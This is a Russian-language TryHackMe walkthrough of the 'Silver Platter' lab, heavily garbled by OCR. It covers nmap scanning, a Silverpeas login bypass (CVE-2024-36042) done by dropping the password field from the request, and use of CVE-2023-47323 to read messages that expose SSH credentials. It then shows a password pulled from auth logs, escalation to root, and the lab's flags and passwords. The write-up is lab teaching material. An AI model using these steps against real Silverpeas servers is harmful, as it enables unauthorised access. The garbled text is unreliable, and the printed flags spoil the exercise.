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¢/ Wcnonuutenb

TecTupoBaHue BbiNonHeHo KpaBuoBbiM Hukonaem, HauMHaowWmm cneumanmcTomM no
MHOopMaLUnoHHON BesonacHocTu B 16:54 (AghueceHHasi KoMHama, MOXHO cKka3amb Oris
pasMUHKU U rpocmo 071 nosy4YeHusi kaligha om xakuHaa camoe mo!).

Ucnonb3oBaHHbIe haunbl:

user.txt - user donar.

root.txt - root conar.
NMopsapok nencreum:

1) Co3pgaHne nanku KOMHaThbl, BKNnoYeHMe win kex ansa yao6cTea,
BKJIlOMEeHMe BMH ANA A0CTyrna K KOMHaTtam

clear; mkdir silver; cd silver; clear; kex —-win; clear; sudo openvpn
. ./Kolya080808.ovpn

clear; sudo ./thm-troubleshoot; nmap -sCV 10.10.64.47; sleep 100; clear; cd
silver

2) CkaHMpoBaHMe NOopToB C NOMOL LI hmap.

Pesynerathbl:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9pl1 Ubuntu 3ubuntu®.d4 (Ubuntu Linux;

protocol 2.0)

| ssh—hostkey:

| 256 1b:1c:87:8a:fe:34:16:c9:f7:82:37:2b:10:8f:8b:f1 (ECDSA)
|_ 256 26:6d:17:ed:83:9e:4f:2d:f6:cd:53:17:c8:80:3d:09 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)

| _http-server-header: nginx/1.18.0 (Ubuntu)

| _http-title: Hack Smarter Security

8080/tcp open http-proxy

| _http-title: Error

| fingerprint-strings:



| FourOhFourRequest, HTTPOptions:

| HTTP/1.1 ded Not Found

| Connection: close

| Content-Length: 74

| Content-Type: text/html

| Date: Fri, 13 Jun 2025 12:58:02 GMT

| <html><head><title>Error</title></head><body>404 - Not Found</body>

</html>

| GenericlLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest,

SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie:

| HTTP/1.1 40O Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 4e4 Not Found

| Connection: close

| Content-Length: 74

| Content-Type: text/html

| Date: Fri, 13 Jun 2025 12:58:01 GMT

| _ <html><head><title>Error</title></head><body>404 - Not Found</body>

</html>

1 service unrecognized despite returning data. If you know the

service/version, please submit the following fingerprint at

https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port8080-TCP:V=7.95%I=7%D=6/13%Time=68UC2058%P=x86_6U4-pc-linux—gnu%r(Ge

SF:tRequest,C9, "HTTP/1\.1\x20u40U4\x20Not\x20Found\r\nConnection:\x20close\r

SF:\nContent-Length:\x2074\r\nContent-Type:\x20text/html\r\nDate:\x20Fri,\

SF:x2013\x20Jun\x202025\x2012:58:01\x20GMT\r\n\r\n<html><head><title>Error

SF:</title></head><body>40uU\x20-\x20Not\x20Found</body></htm1>")%r(HTTPOpt

SF:ions,C9,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnection:\x20close\r\nCo

SF:ntent-Length:\x2074\r\nContent-Type:\x20text/html\r\nDate:\x20Fri, \x201

SF:3\x20Jun\x202025\x2012:58:02\x20GMT\r\n\r\n<html><head><title>Error</ti
tle></head><body>40U4\x20-\x20Not\x20Found</body></html>")%r(RTSPRequest

SF:,u42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConn

SF:ection:\x20close\r\n\r\n")%r(FourOhFourRequest,C9, "HTTP/1\.1\x2040U4\x20

SF:Not\x20Found\r\nConnection:\x20close\r\nContent-Length:\x2074\r\nConten

SF:t-Type:\x20text/html\r\nDate:\x20Fri, \x2013\x20Jun\x202025\x2012:58:02\

SF:x20GMT\r\n\r\n<html><head><title>Error</title></head><body>U0U\x20-\x20

SF:Not\x20Found</body></html>")%r(Socks5,42, "HTTP/1\.1\x20400\x20Bad\x20Re

SF:quest\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(Gener

SF:icLines,d2,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\

SF:r\nConnection:\x20close\r\n\r\n")%r(Help,d2,"HTTP/1\.1\x20400\x20Bad\x2

SF:0Request\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(SS

SF:LSessionReq, 42, "HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x

SF:200\r\nConnection:\x20close\r\n\r\n")%r(TerminalServerCookie, 42, "HTTP/1

SF:\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20



SF:close\r\n\r\n")%r(TLSSessionReq, 42, "HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(Kerberos, 142
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(SMBProgNeg, 42, "HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(LPDStr
SF:ing,u2,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nC
SF:onnection:\x20close\r\n\r\n")%r(LDAPSearchReq, 42, "HTTP/1\.1\x20400\x20B
SF:ad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n");
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

3) 4 nocmoTpen Ha 06e Beb6-cTpaHULbl, HO HA nopTy 80 Obina
cCTaTU4Has, a BOT Ha nopty 8080 meHA KpanHen 3anHTepecoBano BOT
3To:

Pesynbrar:

i C 1 2 10.10.64.47:8080

OffSec Kali Linux &8 Kali Tools

Wikipedia

404 - Not Found ,
YouTube

& Reddit

4) Tak )Xe 1 NoCMOTpes1 Ha NepBbIX CauT U BbiNnucan oTtyaa
NoACKa3Ky:

Pesynbrar:

Q  Ifyou'd like to get in touch with us, please reach out to our project manager on Silverpealla. His username is "scriptkiddy”.

5) MoaTomy A npocTo Hawen rae HaxoaUTcs cam silverpeas un
ucnonb3oBan CVE-2024-36042, npocto yopaB &Password= B
3anpoce, TeM caMbIM NONY4Y1n AOCTYN:

Pesynbrar:

Request

Pretty Raw Hew

| POST ssilwverpeas/AuthenticationServlet HTTPYL.1

2 Host: 10,1064, 478080
Comtent -Length: 74
Cache-Control: max-ag
Accept -Language: &n i
Origin: http://10,10,.64. 4
Cormtent-Type: applicatieon
Upgrade-Insecure-Requests: 1
User-Agemt: Mozilla/5.0 (¥1l; Linux xB6_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136,0,0.0 Safari/537,36
Accept: tewt/html,application/shtnl+xml, application/xnl jq=0.9, inage/avif, inage / webp, inage /apng, */*:q=0. 8, application/signed- exchange ; w=h3;q=0.7

11 Referer: http://10.10.64,47:8080/silverpeas/defaultLo jspTDomainld=0&Er rorCode=1
Accept -Encoding: gzip, deflate, br
Cookie: JSESSIONID=wOvtmc-bhb2i1ly7CxBNyh2 EtkYHCt g _pxBvYyyBd. ebabc TS9c6d2a

14 Comnection: keep-alive

www'=form-urlencoded

if Login=SilverAdminkDomainId=0


https://gist.github.com/ChrisPritchard/4b6d5c70d9329ef116266a6c238dcb2d

ACCUEIL

cces rapide ujourd'hui : 18 juin 2025

echerchez un document

6) Janee s1 nocMoTpern ocTanbHble YA3BUMOCTU 23, 24 n 25-biX
rogoB, u Hawen CVE-2023-47323, KOTOPbIA NO3BONIAAET YNTaATb
nobble coodWweHns, n Hawen B OAHOM U3 HUX KpeAabl OT ssh:

Pesynbrar:

& Notsecure  10.10.64.47-8(

De : Administrateur

Source :

IMessange

Dude how do you aways forget the S5H password? Lise a password manager and quit using your silly sticky

notes.
Usernamaea: tim

Password: emOniimdOntiDrg3tinspaSSwindagainkol

-

7) 3anpaa no ssh, cpasy untaem user.txt:

Pesynbrar:

tim@silver-platter:~$ user.txt
THM{cl4cal238a0b923820dcc509a6F758U9b}


https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2023-47323

8) Nanee A HaYyan UcKaTb NMNPOCTbIe NYTU NOBbIWEHNUA NPUBUNErnn, n
Hawen naponb B /var/log/auth*:

Pesynbrar:

tim@silver-platter:/var/log$ auth* | -i pass

Jun 13 13:20:19 silver-platter sshd[238u4]: Accepted password for tim from
10.23.10.131 port 36626 ssh2

Jun 13 13:20:39 silver—platter sshd[2510]: Accepted password for tim from
10.23.10.131 port 51738 ssh2

May 8 08:58:U40 silver—-platter sshd[1710]: Accepted password for tyler from
192.168.1.20 port 42258 ssh2

May 8 14:00:53 silver-platter sshd[1946]: Accepted password for tyler from
192.168.1.20 port 55742 ssh2

Dec 12 19:34:40 silver-platter sudo: tyler : TTY=ttyl ; PwWD=/ ;
USER=root ; COMMAND=/usr/bin/passwd tim

Dec 12 19:34:U46 silver-platter passwd[1576]: pam_unix(passwd:chauthtok):
password changed for tim

Dec 12 19:39:15 silver-platter sudo: tyler : 3 incorrect password

attempts ; TTY=ttyl ; PWD=/home/tyler ; USER=root ; COMMAND=/usr/bin/apt
nginx

Dec 13 15:39:07 silver-platter usermod[1597]: change user 'dnsmasq’

password

Dec 13 15:39:07 silver-platter chage[1604]: changed password expiry for

dnsmasq

Dec 13 15:40:33 silver-platter sudo: tyler : TTY=ttyl ; PwWD=/ ;

USER=root ; COMMAND=/usr/bin/docker run -—name postgresql -d -e
POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data
postgres:12.3

Dec 13 15:44:30 silver—platter sudo: tyler : TTY=ttyl ; PWD=/ ;
USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -
e DB_NAME=Silverpeas —e DB_USER=silverpeas —e DB_PASSWORD=_Zd_zx7N823/ -v
silverpeas-log:/opt/silverpeas/log -v silverpeas—-data:/opt/silvepeas/data -
—~link postgresql:database sivlerpeas:silverpeas-6.3.1

Dec 13 15:45:21 silver-platter sudo: tyler : TTY=ttyl ; PWD=/ ;
USER=root ; COMMAND=/usr/bin/docker run --name silverpeas -p 8080:8000 -d -
e DB_NAME=Silverpeas —e DB_USER=silverpeas —e DB_PASSWORD=_Zd_zx7N823/ -v
silverpeas-log:/opt/silverpeas/log -v silverpeas-data:/opt/silvepeas/data -
—link postgresql:database silverpeas:silverpeas-6.3.1

Dec 13 15:45:57 silver—platter sudo: tyler : TTY=ttyl ; PWD=/ ;
USER=root ; COMMAND=/usr/bin/docker run —-name silverpeas -p 8080:8000 -d -
e DB_NAME=Silverpeas —e DB_USER=silverpeas —e DB_PASSWORD=_Zd_zx7N823/ -v
silverpeas-log:/opt/silverpeas/log -v silverpeas—data:/opt/silvepeas/data -
—~link postgresql:database silverpeas:6.3.1



Dec 13 16:17:21 silver—platter sudo: tyler : TTY=ttyl ;
PWD=/etc/nginx/sites—available ; USER=root ; COMMAND=/usr/bin/passwd tim
Dec 13 16:17:31 silver-platter passwd[6811]: pam_unix(passwd:chauthtok):
password changed for tim

Dec 13 16:18:57 silver—platter sshd[6879]: Accepted password for tyler from
192.168.1.20 port uU47772 ssh2

Dec 13 16:32:41 silver—-platter sudo: tyler : TTY=pts/0 ; PWD=/ ;
USER=root ; COMMAND=/usr/bin/passwd tim

Dec 13 16:32:54 silver-platter passwd[7174]: pam_unix(passwd:chauthtok):
password changed for tim

Dec 13 16:33:12 silver-platter sshd[7181]: Accepted password for tim from
192.168.1.20 port 50970 ssh2

Dec 13 16:35:45 silver—platter sshd[7297]: Accepted password for tyler from
192.168.1.20 port 58172 ssh2

Dec 13 16:45:33 silver—-platter sshd[7622]: Accepted password for tyler from
192.168.1.20 port 33484 ssh2

Dec 13 17:u43:09 silver—-platter sshd[7750]: Accepted password for tyler from
192.168.1.20 port 45796 ssh2

Dec 13 17:51:30 silver—-platter sshd[1370]: Accepted password for tyler from
192.168.1.20 port 60860 ssh2

Dec 13 17:51:41 silver-platter sshd[1681]: Accepted password for tyler from
192.168.1.20 port 55392 ssh2

9) 3axoauM KaK tyler , nponucbiBaemM sudo su W YuTaem pyT cnar:

Pesynbrar:

bash tim@silver-platter:/var/log$ su tyler Password: tyler@silver-
platter:/var/log$ sudo su [sudo] password for tyler: root@silver-
platter:/home/tyler# cd root@silver-platter:~# 1ls -la total 48 drwx—---—- 5)
root root 4096 May 1 2024 . drwxr-xr-x 19 root root 4096 Dec 12 2023 .. -rw——-—
-——— 1 root root 287 May 8 2024 .bash_history -rw-r--r-- 1 root root 3106 Oct
15 2021 .bashrc -rw-—--—-—-——- 1 root root 20 Dec 13 2023 .lesshst drwxr-xr-x 3
root root 4096 Dec 13 2023 .local -rw-r—-—-r—— 1 root root 161 Jul 9 2019
.profile —rw-r—-—-r—-— 1 root root 38 Dec 13 2023 root.txt -rw-r--r-- 1 root root
66 Dec 13 2023 .selected_editor drwx—------ 3 root root 4096 Dec 12 2023 snap
A= 2 root root 4096 Dec 12 2023 .ssh -rwxr-xr-x 1 root root 97 Dec 13
2023 start_docker_containers.sh -rw-r--r-— 1 root root 0 Dec 13 2023
.sudo_as_admin_successful root@silver-platter:~# cat root.txt
THM{098f6bcdU621d373cadelde832627buUf6}

ypa!

NMpumeyaHune



/ MNpumeyaHne
KpyTas komHaTa, BCEM COBETYIO)

OrpomHoe cnacubo TryHackMe 3a komHaTty!

UTor:

CDOTOHO,EI,TBep)KﬂeH ne NpoxoxaeHus.

Congratulations on completing Silver Platter!!! x

Points earned Completed tasks Room type Difficulty Streak
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Opwvrunan:
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https://youtu.be/mGWiR3NOC38

